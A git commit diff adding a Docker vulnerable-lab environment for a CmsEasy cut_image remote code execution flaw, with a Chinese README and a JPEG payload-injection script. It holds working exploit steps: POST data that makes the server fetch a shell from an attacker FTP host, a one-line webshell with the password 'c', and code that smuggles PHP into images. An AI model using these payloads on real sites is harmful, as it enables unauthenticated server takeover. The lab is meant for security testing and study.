mirror of
https://github.com/Medicean/VulApps.git
synced 2025-05-05 18:28:57 +00:00
(Add Vul: CmsEasy) CmsEasy < 5.6 20161012 cut_image 远程代码执行漏洞
This commit is contained in:
parent
b77d064ceb
commit
57e03b47bb
@ -10,7 +10,7 @@
|
||||
|
||||
## 获取并使用相关镜像
|
||||
|
||||
> 直接使用 docker 命令拉取相关镜像,并启动。需要查看相关环境的 tag 可以直接在 dockerhub 查看或在具体的漏洞目录下查看 ReadME 文件。
|
||||
> 直接使用 docker 命令拉取相关镜像,并启动。需要查看相关环境的 tag 可以直接在 dockerhub 查看或在具体的漏洞目录下查看 README 文件。
|
||||
|
||||
以 Struts2 S2-037 漏洞环境为例:
|
||||
|
||||
@ -71,6 +71,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
|
||||
### [C](./c/)<div id="c"></div>
|
||||
|
||||
* [Cisco](./c/cisco/)
|
||||
* [CmsEasy](./c/cmseasy/)
|
||||
|
||||
### [I](./i/)<div id="i"></div>
|
||||
|
||||
|
@ -1,3 +1,4 @@
|
||||
# C
|
||||
|
||||
* [Cisco](./cisco/)
|
||||
* [CmsEasy](./cmseasy/)
|
||||
|
1
c/cmseasy/1/Dockerfile
Normal file
1
c/cmseasy/1/Dockerfile
Normal file
@ -0,0 +1 @@
|
||||
FROM medicean/vulapps:base_cmseasy_5_6_20160825
|
136
c/cmseasy/1/README.md
Normal file
136
c/cmseasy/1/README.md
Normal file
@ -0,0 +1,136 @@
|
||||
## CmsEasy < 5.6 20161012 cut_image 代码执行漏洞
|
||||
|
||||
### 说明
|
||||
|
||||
感谢 [@cnsolu](https://github.com/cnsolu) 提供漏洞基础详情
|
||||
|
||||
### 漏洞信息
|
||||
|
||||
CmsEasy是一款基于PHP+Mysql 架构的网站内容管理系统,也是一个PHP开发平台。采用模块化方式开发,功能易用便于扩展,可面向大中型站点提供重量级网站建设解决方案。
|
||||
|
||||
CmsEasy < 5.6_20161012 版本 `cut_image_action` 函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。
|
||||
|
||||
详细参考:[CmsEasy前台无限制GetShell](https://xianzhi.aliyun.com/forum/read/215.html)
|
||||
|
||||
### 漏洞相关代码
|
||||
|
||||
```php
|
||||
function cut_image_action() {
|
||||
$len = 1;
|
||||
if(config::get('base_url') != '/'){
|
||||
$len = strlen(config::get('base_url'))+1;
|
||||
}
|
||||
if(substr($_POST['pic'],0,4) == 'http'){
|
||||
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
|
||||
}else{
|
||||
front::$post['thumb'] = substr($_POST['pic'],$len);
|
||||
}
|
||||
$thumb=new thumb();
|
||||
$thumb->set(front::$post['thumb'],'jpg');
|
||||
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
|
||||
$save_file='upload/images/'.date('Ym').'/'.$new_name;
|
||||
@mkdir(dirname(ROOT.'/'.$save_file));
|
||||
ob_start();
|
||||
$thumb->out_image($img,null,85);
|
||||
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
|
||||
ob_end_clean();
|
||||
$image_url=config::get('base_url').'/'.$save_file;
|
||||
//$res['size']=ceil(strlen($img) / 1024);
|
||||
$res['code']="
|
||||
//$('#cut_preview').attr('src','$image_url');
|
||||
$('#thumb').val('$image_url');
|
||||
alert(lang('save_success'));
|
||||
";
|
||||
echo json::encode($res);
|
||||
}
|
||||
```
|
||||
|
||||
### 镜像信息
|
||||
|
||||
类型 | 用户名 | 密码
|
||||
:-:|:-:|:-:
|
||||
Mysql | root | root
|
||||
/admin/ | admin | admin123
|
||||
|
||||
### 获取环境:
|
||||
|
||||
1. 拉取镜像到本地
|
||||
|
||||
```
|
||||
$ docker pull medicean/vulapps:c_cmseasy_1
|
||||
```
|
||||
|
||||
2. 启动环境
|
||||
|
||||
```
|
||||
$ docker run -d -p 8000:80 medicean/vulapps:c_cmseasy_1
|
||||
```
|
||||
|
||||
> `-p 8000:80` 前面的 8000 代表物理机的端口,可随意指定。
|
||||
|
||||
### 使用与利用
|
||||
|
||||
访问 `http://你的 IP 地址:端口号/`
|
||||
|
||||
#### PoC 使用
|
||||
|
||||
1. 图片处理
|
||||
|
||||
将 [`poc_phpinfo_700x1120.png`](./poc_phpinfo_700x1120.png),上传至攻击者FTP服务器并将后缀改为`.php`,如文件名被重命名为`phpinfo.php`
|
||||
|
||||
> 也可根据这篇文章[「CmsEasy前台无限制GetShell」](https://xianzhi.aliyun.com/forum/read/215.html)自行生成,生成的脚本为 [jpg_payload.php](./jpg_payload.php),感谢作者
|
||||
|
||||
2. 验证漏洞
|
||||
|
||||
发起 POST 请求,地址为:
|
||||
|
||||
```
|
||||
http://目标网站/index.php?case=tool&act=cut_image
|
||||
```
|
||||
|
||||
POST data:
|
||||
|
||||
```
|
||||
pic=1ftp://攻击者FTP地址/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
|
||||
```
|
||||
|
||||
3. 成功会返回
|
||||
|
||||
```
|
||||
{"code":"\r\n \/\/$('#cut_preview').attr('src','\/upload\/images\/201612\/148159258747.php');\r\n $('#thumb').val('\/upload\/images\/201612\/148159258747.php');\r\n\t\t\t\t alert(lang('save_success'));\r\n "}
|
||||
```
|
||||
|
||||
4. 访问上传成功后的php文件
|
||||
|
||||
`http://你的 IP 地址:端口号/upload/images/201612/148159258747.php`
|
||||
|
||||
|
||||
#### Exp 使用
|
||||
|
||||
使用的图片为 [`exp_eval_post_c_700x1120.png`](exp_eval_post_c_700x1120.png),步骤与 PoC 使用完全相同。
|
||||
|
||||
一句话连接密码为`c`
|
||||
|
||||
#### POST data 详细说明
|
||||
|
||||
* w=x2=图片宽度
|
||||
* h=y2=图片高度
|
||||
* x1=y1=固定0
|
||||
|
||||
> 同一张图片,请求时若指定的宽度和高度的值不相同,gd 库转换后的结果也不相同
|
||||
|
||||
如果`$_POST['pic']`开头4个字符不是`http`的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)所以构造的时候 如果站点不是放在根目录 则需要在前面补位`strlen(base_url)+2` 如果放在根目录 也需要补上1位(`/`的长度)
|
||||
|
||||
**举个例子:**
|
||||
|
||||
目标站 `http://www.target.com/easy/cmseasy/` 放在 cmseasy 子目录,就需要补上`strlen(base_url)+2 = strlen('cmseasy') + 2 = 9`位,POST数据就是
|
||||
|
||||
```
|
||||
pic=111111111ftp://hacker.db/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
|
||||
```
|
||||
|
||||
目标站 `http://www.target2.com/` 放在web根目录 就需要补上1位,POST数据就是
|
||||
|
||||
```
|
||||
pic=1ftp://hacker.com/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
|
||||
```
|
BIN
c/cmseasy/1/exp_eval_post_c_700x1120.png
Normal file
BIN
c/cmseasy/1/exp_eval_post_c_700x1120.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 70 KiB |
171
c/cmseasy/1/jpg_payload.php
Executable file
171
c/cmseasy/1/jpg_payload.php
Executable file
@ -0,0 +1,171 @@
|
||||
<?php
|
||||
/*
|
||||
|
||||
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
|
||||
caused by PHP functions imagecopyresized() and imagecopyresampled().
|
||||
It is necessary that the size and quality of the initial image are the same as those of the processed
|
||||
image.
|
||||
|
||||
1) Upload an arbitrary image via secured files upload script
|
||||
2) Save the processed image and launch:
|
||||
php jpg_payload.php <jpg_name.jpg>
|
||||
|
||||
In case of successful injection you will get a specially crafted image, which should be uploaded again.
|
||||
|
||||
Since the most straightforward injection method is used, the following problems can occur:
|
||||
1) After the second processing the injected data may become partially corrupted.
|
||||
2) The jpg_payload.php script outputs "Something's wrong".
|
||||
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
|
||||
initial image.
|
||||
|
||||
Sergey Bobrov @Black2Fan.
|
||||
|
||||
See also:
|
||||
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
|
||||
|
||||
*/
|
||||
|
||||
$miniPayload = '<?php phpinfo();?>';
|
||||
print $miniPayload;
|
||||
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
|
||||
die('php-gd is not installed');
|
||||
}
|
||||
|
||||
if(!isset($argv[1])) {
|
||||
die('php jpg_payload.php <jpg_name.jpg>');
|
||||
}
|
||||
|
||||
set_error_handler("custom_error_handler");
|
||||
|
||||
for($pad = 0; $pad < 1024; $pad++) {
|
||||
$nullbytePayloadSize = $pad;
|
||||
$dis = new DataInputStream($argv[1]);
|
||||
$outStream = file_get_contents($argv[1]);
|
||||
$extraBytes = 0;
|
||||
$correctImage = TRUE;
|
||||
|
||||
if($dis->readShort() != 0xFFD8) {
|
||||
die('Incorrect SOI marker');
|
||||
}
|
||||
|
||||
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
|
||||
$marker = $dis->readByte();
|
||||
$size = $dis->readShort() - 2;
|
||||
$dis->skip($size);
|
||||
if($marker === 0xDA) {
|
||||
$startPos = $dis->seek();
|
||||
$outStreamTmp =
|
||||
substr($outStream, 0, $startPos) .
|
||||
$miniPayload .
|
||||
str_repeat("\0",$nullbytePayloadSize) .
|
||||
substr($outStream, $startPos);
|
||||
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
|
||||
if($extraBytes !== 0) {
|
||||
while((!$dis->eof())) {
|
||||
if($dis->readByte() === 0xFF) {
|
||||
if($dis->readByte !== 0x00) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
$stopPos = $dis->seek() - 2;
|
||||
$imageStreamSize = $stopPos - $startPos;
|
||||
$outStream =
|
||||
substr($outStream, 0, $startPos) .
|
||||
$miniPayload .
|
||||
substr(
|
||||
str_repeat("\0",$nullbytePayloadSize).
|
||||
substr($outStream, $startPos, $imageStreamSize),
|
||||
0,
|
||||
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
|
||||
substr($outStream, $stopPos);
|
||||
} elseif($correctImage) {
|
||||
$outStream = $outStreamTmp;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
if(checkImage('payload_'.$argv[1], $outStream)) {
|
||||
die('Success!');
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
unlink('payload_'.$argv[1]);
|
||||
die('Something\'s wrong');
|
||||
|
||||
function checkImage($filename, $data, $unlink = FALSE) {
|
||||
global $correctImage;
|
||||
file_put_contents($filename, $data);
|
||||
$correctImage = TRUE;
|
||||
imagecreatefromjpeg($filename);
|
||||
if($unlink)
|
||||
unlink($filename);
|
||||
return $correctImage;
|
||||
}
|
||||
|
||||
function custom_error_handler($errno, $errstr, $errfile, $errline) {
|
||||
global $extraBytes, $correctImage;
|
||||
$correctImage = FALSE;
|
||||
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
|
||||
if(isset($m[1])) {
|
||||
$extraBytes = (int)$m[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
class DataInputStream {
|
||||
private $binData;
|
||||
private $order;
|
||||
private $size;
|
||||
|
||||
public function __construct($filename, $order = false, $fromString = false) {
|
||||
$this->binData = '';
|
||||
$this->order = $order;
|
||||
if(!$fromString) {
|
||||
if(!file_exists($filename) || !is_file($filename))
|
||||
die('File not exists ['.$filename.']');
|
||||
$this->binData = file_get_contents($filename);
|
||||
} else {
|
||||
$this->binData = $filename;
|
||||
}
|
||||
$this->size = strlen($this->binData);
|
||||
}
|
||||
|
||||
public function seek() {
|
||||
return ($this->size - strlen($this->binData));
|
||||
}
|
||||
|
||||
public function skip($skip) {
|
||||
$this->binData = substr($this->binData, $skip);
|
||||
}
|
||||
|
||||
public function readByte() {
|
||||
if($this->eof()) {
|
||||
die('End Of File');
|
||||
}
|
||||
$byte = substr($this->binData, 0, 1);
|
||||
$this->binData = substr($this->binData, 1);
|
||||
return ord($byte);
|
||||
}
|
||||
|
||||
public function readShort() {
|
||||
if(strlen($this->binData) < 2) {
|
||||
die('End Of File');
|
||||
}
|
||||
$short = substr($this->binData, 0, 2);
|
||||
$this->binData = substr($this->binData, 2);
|
||||
if($this->order) {
|
||||
$short = (ord($short[1]) << 8) + ord($short[0]);
|
||||
} else {
|
||||
$short = (ord($short[0]) << 8) + ord($short[1]);
|
||||
}
|
||||
return $short;
|
||||
}
|
||||
|
||||
public function eof() {
|
||||
return !$this->binData||(strlen($this->binData) === 0);
|
||||
}
|
||||
}
|
||||
?>
|
BIN
c/cmseasy/1/poc_phpinfo_700x1120.png
Normal file
BIN
c/cmseasy/1/poc_phpinfo_700x1120.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 74 KiB |
4
c/cmseasy/README.md
Normal file
4
c/cmseasy/README.md
Normal file
@ -0,0 +1,4 @@
|
||||
CmsEasy
|
||||
---
|
||||
|
||||
1. [CmsEasy < 5.6 20161012 cut_image 代码执行漏洞](1/)
|
Loading…
x
Reference in New Issue
Block a user